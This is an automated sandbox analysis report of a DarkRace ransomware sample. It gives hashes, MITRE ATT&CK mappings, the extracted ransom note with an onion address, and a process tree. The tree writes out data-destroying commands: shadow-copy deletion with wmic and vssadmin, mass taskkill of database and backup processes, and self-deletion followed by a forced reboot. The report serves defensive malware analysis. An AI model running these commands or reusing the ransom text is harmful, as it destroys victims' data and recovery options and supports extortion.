0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4

Analysis

max time kernel
39s
max time network
45s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
15/02/2024, 05:27

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
Size

255KB
MD5

1933fed76a030529b141d032c0620117
SHA1

c55c60a23f5110e0b45fc02a09c4a64d3094809a
SHA256

0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4
SHA512

b153383ebd9919ff293896381d89a895c58985eef60f67803a4276026631184f4d85c19e9ea06351efb7230226b18ed9a17b533fb602e10ded518a7bd090dcfe
SSDEEP

3072:iBWxT8JtvyAuX3CGun8r8206BretpJwIiymE9xTRVhGT4z106OKclYQO565tgPYs:iBxrKA4CGu8V0tl9zVhM49OxlYQ8fD3

Score

10^/10

ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Documents\Readme.1352FF327.txt

Ransom Note

~~~ DarkRace ransomware ~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://wkrlpub5k52rjigwxfm6m7ogid55kamgc5azxlq7zjgaopv33tgx2sqd.onion >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. You can install qtox to contanct us online https://tox.chat/download.html Tox ID Contact: ************************ Mail (OnionMail) Support: [email protected] >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again!

Emails

[email protected]

URLs

http://wkrlpub5k52rjigwxfm6m7ogid55kamgc5azxlq7zjgaopv33tgx2sqd.onion

https://tox.chat/download.html

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (135) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
2388	cmd.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2360	vssadmin.exe

Kills process with taskkill 41 IoCs

evasion

pid	Process
616	taskkill.exe
2692	taskkill.exe
592	taskkill.exe
1232	taskkill.exe
1196	taskkill.exe
700	taskkill.exe
2288	taskkill.exe
884	taskkill.exe
1084	taskkill.exe
2908	taskkill.exe
2928	taskkill.exe
2980	taskkill.exe
2496	taskkill.exe
1512	taskkill.exe
2636	taskkill.exe
1584	taskkill.exe
1428	taskkill.exe
1092	taskkill.exe
1544	taskkill.exe
868	taskkill.exe
2408	taskkill.exe
2384	taskkill.exe
2524	taskkill.exe
2108	taskkill.exe
1508	taskkill.exe
1612	taskkill.exe
988	taskkill.exe
2136	taskkill.exe
2772	taskkill.exe
1544	taskkill.exe
320	taskkill.exe
932	taskkill.exe
2232	taskkill.exe
1992	taskkill.exe
1064	taskkill.exe
2404	taskkill.exe
240	taskkill.exe
1396	taskkill.exe
1736	taskkill.exe
2612	taskkill.exe
588	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1352FF327file\DefaultIcon	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1352FF327file	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\1352FF327file\DefaultIcon\ = "C:\\ProgramData\\icon.ico"	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.1352FF327	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.1352FF327\ = "1352FF327file"	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
1432	PING.EXE
1604	PING.EXE
1752	PING.EXE
2832	PING.EXE
3064	PING.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe
Token: SeSystemProfilePrivilege	2752	WMIC.exe
Token: SeSystemtimePrivilege	2752	WMIC.exe
Token: SeProfSingleProcessPrivilege	2752	WMIC.exe
Token: SeIncBasePriorityPrivilege	2752	WMIC.exe
Token: SeCreatePagefilePrivilege	2752	WMIC.exe
Token: SeBackupPrivilege	2752	WMIC.exe
Token: SeRestorePrivilege	2752	WMIC.exe
Token: SeShutdownPrivilege	2752	WMIC.exe
Token: SeDebugPrivilege	2752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2752	WMIC.exe
Token: SeRemoteShutdownPrivilege	2752	WMIC.exe
Token: SeUndockPrivilege	2752	WMIC.exe
Token: SeManageVolumePrivilege	2752	WMIC.exe
Token: 33	2752	WMIC.exe
Token: 34	2752	WMIC.exe
Token: 35	2752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe
Token: SeSystemProfilePrivilege	2752	WMIC.exe
Token: SeSystemtimePrivilege	2752	WMIC.exe
Token: SeProfSingleProcessPrivilege	2752	WMIC.exe
Token: SeIncBasePriorityPrivilege	2752	WMIC.exe
Token: SeCreatePagefilePrivilege	2752	WMIC.exe
Token: SeBackupPrivilege	2752	WMIC.exe
Token: SeRestorePrivilege	2752	WMIC.exe
Token: SeShutdownPrivilege	2752	WMIC.exe
Token: SeDebugPrivilege	2752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2752	WMIC.exe
Token: SeRemoteShutdownPrivilege	2752	WMIC.exe
Token: SeUndockPrivilege	2752	WMIC.exe
Token: SeManageVolumePrivilege	2752	WMIC.exe
Token: 33	2752	WMIC.exe
Token: 34	2752	WMIC.exe
Token: 35	2752	WMIC.exe
Token: SeBackupPrivilege	2768	vssvc.exe
Token: SeRestorePrivilege	2768	vssvc.exe
Token: SeAuditPrivilege	2768	vssvc.exe
Token: SeDebugPrivilege	1512	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	616	taskkill.exe
Token: SeDebugPrivilege	1612	taskkill.exe
Token: SeDebugPrivilege	2692	taskkill.exe
Token: SeDebugPrivilege	592	taskkill.exe
Token: SeDebugPrivilege	988	taskkill.exe
Token: SeDebugPrivilege	868	taskkill.exe
Token: SeDebugPrivilege	1428	taskkill.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeDebugPrivilege	2136	taskkill.exe
Token: SeDebugPrivilege	1232	taskkill.exe
Token: SeDebugPrivilege	2408	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	2524	taskkill.exe
Token: SeDebugPrivilege	1396	taskkill.exe
Token: SeDebugPrivilege	320	taskkill.exe
Token: SeDebugPrivilege	932	taskkill.exe
Token: SeDebugPrivilege	1196	taskkill.exe
Token: SeDebugPrivilege	1736	taskkill.exe
Token: SeDebugPrivilege	700	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 1252	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	28
PID 1804 wrote to memory of 1252	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	28
PID 1804 wrote to memory of 1252	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	28
PID 1804 wrote to memory of 1252	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	28
PID 1804 wrote to memory of 2268	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	29
PID 1804 wrote to memory of 2268	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	29
PID 1804 wrote to memory of 2268	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	29
PID 1804 wrote to memory of 2268	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	29
PID 2268 wrote to memory of 2360	2268	cmd.exe	32
PID 2268 wrote to memory of 2360	2268	cmd.exe	32
PID 2268 wrote to memory of 2360	2268	cmd.exe	32
PID 1252 wrote to memory of 2752	1252	cmd.exe	33
PID 1252 wrote to memory of 2752	1252	cmd.exe	33
PID 1252 wrote to memory of 2752	1252	cmd.exe	33
PID 1804 wrote to memory of 2152	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	38
PID 1804 wrote to memory of 2152	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	38
PID 1804 wrote to memory of 2152	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	38
PID 1804 wrote to memory of 2152	1804	0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe	38
PID 2152 wrote to memory of 2832	2152	cmd.exe	40
PID 2152 wrote to memory of 2832	2152	cmd.exe	40
PID 2152 wrote to memory of 2832	2152	cmd.exe	40
PID 2152 wrote to memory of 2832	2152	cmd.exe	40
PID 2152 wrote to memory of 1512	2152	cmd.exe	41
PID 2152 wrote to memory of 1512	2152	cmd.exe	41
PID 2152 wrote to memory of 1512	2152	cmd.exe	41
PID 2152 wrote to memory of 1512	2152	cmd.exe	41
PID 2152 wrote to memory of 1544	2152	cmd.exe	42
PID 2152 wrote to memory of 1544	2152	cmd.exe	42
PID 2152 wrote to memory of 1544	2152	cmd.exe	42
PID 2152 wrote to memory of 1544	2152	cmd.exe	42
PID 2152 wrote to memory of 616	2152	cmd.exe	43
PID 2152 wrote to memory of 616	2152	cmd.exe	43
PID 2152 wrote to memory of 616	2152	cmd.exe	43
PID 2152 wrote to memory of 616	2152	cmd.exe	43
PID 2152 wrote to memory of 1612	2152	cmd.exe	44
PID 2152 wrote to memory of 1612	2152	cmd.exe	44
PID 2152 wrote to memory of 1612	2152	cmd.exe	44
PID 2152 wrote to memory of 1612	2152	cmd.exe	44
PID 2152 wrote to memory of 2692	2152	cmd.exe	45
PID 2152 wrote to memory of 2692	2152	cmd.exe	45
PID 2152 wrote to memory of 2692	2152	cmd.exe	45
PID 2152 wrote to memory of 2692	2152	cmd.exe	45
PID 2152 wrote to memory of 592	2152	cmd.exe	46
PID 2152 wrote to memory of 592	2152	cmd.exe	46
PID 2152 wrote to memory of 592	2152	cmd.exe	46
PID 2152 wrote to memory of 592	2152	cmd.exe	46
PID 2152 wrote to memory of 988	2152	cmd.exe	47
PID 2152 wrote to memory of 988	2152	cmd.exe	47
PID 2152 wrote to memory of 988	2152	cmd.exe	47
PID 2152 wrote to memory of 988	2152	cmd.exe	47
PID 2152 wrote to memory of 868	2152	cmd.exe	48
PID 2152 wrote to memory of 868	2152	cmd.exe	48
PID 2152 wrote to memory of 868	2152	cmd.exe	48
PID 2152 wrote to memory of 868	2152	cmd.exe	48
PID 2152 wrote to memory of 1428	2152	cmd.exe	49
PID 2152 wrote to memory of 1428	2152	cmd.exe	49
PID 2152 wrote to memory of 1428	2152	cmd.exe	49
PID 2152 wrote to memory of 1428	2152	cmd.exe	49
PID 2152 wrote to memory of 2404	2152	cmd.exe	50
PID 2152 wrote to memory of 2404	2152	cmd.exe	50
PID 2152 wrote to memory of 2404	2152	cmd.exe	50
PID 2152 wrote to memory of 2404	2152	cmd.exe	50
PID 2152 wrote to memory of 2136	2152	cmd.exe	51
PID 2152 wrote to memory of 2136	2152	cmd.exe	51

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe
"C:\Users\Admin\AppData\Local\Temp\0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe"
1⤵
- Enumerates connected drives
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\system32\cmd.exe
  cmd /c "wmic shadowcopy delete /nointeractive"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2752
- C:\Windows\system32\cmd.exe
  cmd /c "vssadmin Delete Shadows /All /Quiet"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:2360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\ProgramData\1.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:2832
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sql*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im oracle*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mysq*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:616
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im veeam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2692
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im firefox*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:592
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im excel*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msaccess*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:868
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im onenote*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im outlook*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winword*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1232
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wuauclt*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:3064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sql*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im oracle*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mysq*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:320
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im veeam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:932
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im firefox*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im excel*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msaccess*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im onenote*
    3⤵
    - Kills process with taskkill
    PID:2288
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im outlook*
    3⤵
    - Kills process with taskkill
    PID:2232
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt*
    3⤵
    - Kills process with taskkill
    PID:2108
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winword*
    3⤵
    - Kills process with taskkill
    PID:884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wuauclt*
    3⤵
    - Kills process with taskkill
    PID:1084
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:1432
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sql*
    3⤵
    - Kills process with taskkill
    PID:2772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im oracle*
    3⤵
    - Kills process with taskkill
    PID:2636
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mysq*
    3⤵
    - Kills process with taskkill
    PID:2908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome*
    3⤵
    - Kills process with taskkill
    PID:2928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im veeam*
    3⤵
    - Kills process with taskkill
    PID:2980
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im firefox*
    3⤵
    - Kills process with taskkill
    PID:1092
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im excel*
    3⤵
    - Kills process with taskkill
    PID:1584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msaccess*
    3⤵
    - Kills process with taskkill
    PID:1544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im onenote*
    3⤵
    - Kills process with taskkill
    PID:1992
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im outlook*
    3⤵
    - Kills process with taskkill
    PID:1508
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt*
    3⤵
    - Kills process with taskkill
    PID:2612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winword*
    3⤵
    - Kills process with taskkill
    PID:588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wuauclt*
    3⤵
    - Kills process with taskkill
    PID:240
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:1604
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sql*
    3⤵
    - Kills process with taskkill
    PID:2496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "taskkill /f /im cmd.exe & taskkill /f /im conhost.exe"
  2⤵
  PID:1364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "ping 127.0.0.1 & del C:\ProgramData\1.bat & del C:\Users\Admin\AppData\Local\Temp\0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4.exe & shutdown -r -f -t 0"
  2⤵
  - Deletes itself
  PID:2388
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1752
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown -r -f -t 0
    3⤵
    PID:2448

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:572

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact